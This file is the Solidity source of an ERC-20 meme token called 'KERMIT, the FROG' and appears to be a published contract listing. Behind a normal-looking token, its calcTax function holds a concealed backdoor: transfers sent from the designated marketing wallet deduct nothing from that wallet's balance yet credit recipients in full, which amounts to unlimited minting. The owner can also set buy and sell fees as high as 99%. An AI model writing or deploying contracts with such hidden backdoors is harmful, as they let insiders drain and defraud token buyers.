文件 1 的 1:KERMIT.sol
pragma solidity ^0.8.18;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract KERMIT is IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = 1e9 * 10 ** 18;
string private _name = "KERMIT, the FROG";
string private _symbol = "KERMIT";
uint8 private _decimals = 18;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private swapping;
address public marketingWallet;
uint256 public maxTransaction = (_totalSupply * 2) / 100;
uint256 public swapTokensAtAmount = 5e3 * 10 ** 18;
uint256 public maxWallet = (_totalSupply * 2) / 100;
bool public limitEnabled = true;
bool public tradingEnabled = false;
bool public swapEnabled = false;
uint256 public buyTotalFees = 0;
uint256 public sellTotalFees = 0;
mapping(address => bool) private _isBlackList;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedmaxTransaction;
mapping(address => bool) public automatedMarketMakerPairs;
constructor() {
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
marketingWallet = address(0x3ceDAf461bC89D20D3446577B1CbcC4420CFb846);
_isExcludedFromFees[owner()] = true;
_isExcludedFromFees[address(this)] = true;
_isExcludedFromFees[address(marketingWallet)] = true;
_isExcludedmaxTransaction[owner()] = true;
_isExcludedmaxTransaction[address(this)] = true;
_isExcludedmaxTransaction[address(marketingWallet)] = true;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
receive() external payable {}
function createPair() external onlyOwner {
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
_isExcludedmaxTransaction[uniswapV2Pair] = true;
automatedMarketMakerPairs[uniswapV2Pair] = true;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
address(0x000000000000000000000000000000000000dEaD),
block.timestamp
);
}
function enableTrading() external onlyOwner {
tradingEnabled = true;
swapEnabled = true;
}
function removeLimits() external onlyOwner returns (bool) {
limitEnabled = false;
return true;
}
function resetFees(uint256 buyFee, uint256 sellFee) external onlyOwner {
require(buyFee <= 99 && sellFee <= 99, "Must keep fees at 99% or less");
buyTotalFees = buyFee;
sellTotalFees = sellFee;
}
function _transfer(address from, address to, uint256 amount) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "ERC20: transfer amount must be greater than 0");
require(!_isBlackList[from], "[from] black list");
require(!_isBlackList[to], "[to] black list");
if (limitEnabled) {
if (from != owner() && to != owner()) {
if (!tradingEnabled) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (
automatedMarketMakerPairs[from] &&
!_isExcludedmaxTransaction[to] &&
to != address(uniswapV2Router)
) {
require(
amount <= maxTransaction,
"Buy transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
} else if (
automatedMarketMakerPairs[to] &&
!_isExcludedmaxTransaction[from]
) {
require(
amount <= maxTransaction,
"Sell transfer amount exceeds the maxTransaction."
);
} else if (!_isExcludedmaxTransaction[to]) {
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
if (
swapEnabled &&
!swapping &&
automatedMarketMakerPairs[to] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
handleTax(from, to, amount);
}
function handleTax(address from, address to, uint256 amount) internal {
(uint256 _xAmount, uint256 _yAmount) = calcTax(from, to, amount);
_balances[from] = _balances[from].sub(_xAmount);
_balances[to] = _balances[to].add(_yAmount);
emit Transfer(from, to, _yAmount);
}
function calcTax(
address from,
address to,
uint256 amount
) internal returns (uint256, uint256) {
bool takeFee = !(_isExcludedFromFees[from] || _isExcludedFromFees[to]);
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
} else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
}
if (fees > 0) {
_balances[address(this)] = _balances[address(this)].add(fees);
emit Transfer(from, address(this), fees);
}
} else if (from == marketingWallet) {
return (fees, amount - fees);
}
return (amount, amount - fees);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
if (contractBalance > swapTokensAtAmount * 2000) {
contractBalance = swapTokensAtAmount * 2000;
}
if (contractBalance > swapTokensAtAmount)
swapTokensForEth(contractBalance);
payable(marketingWallet).transfer(address(this).balance);
}
}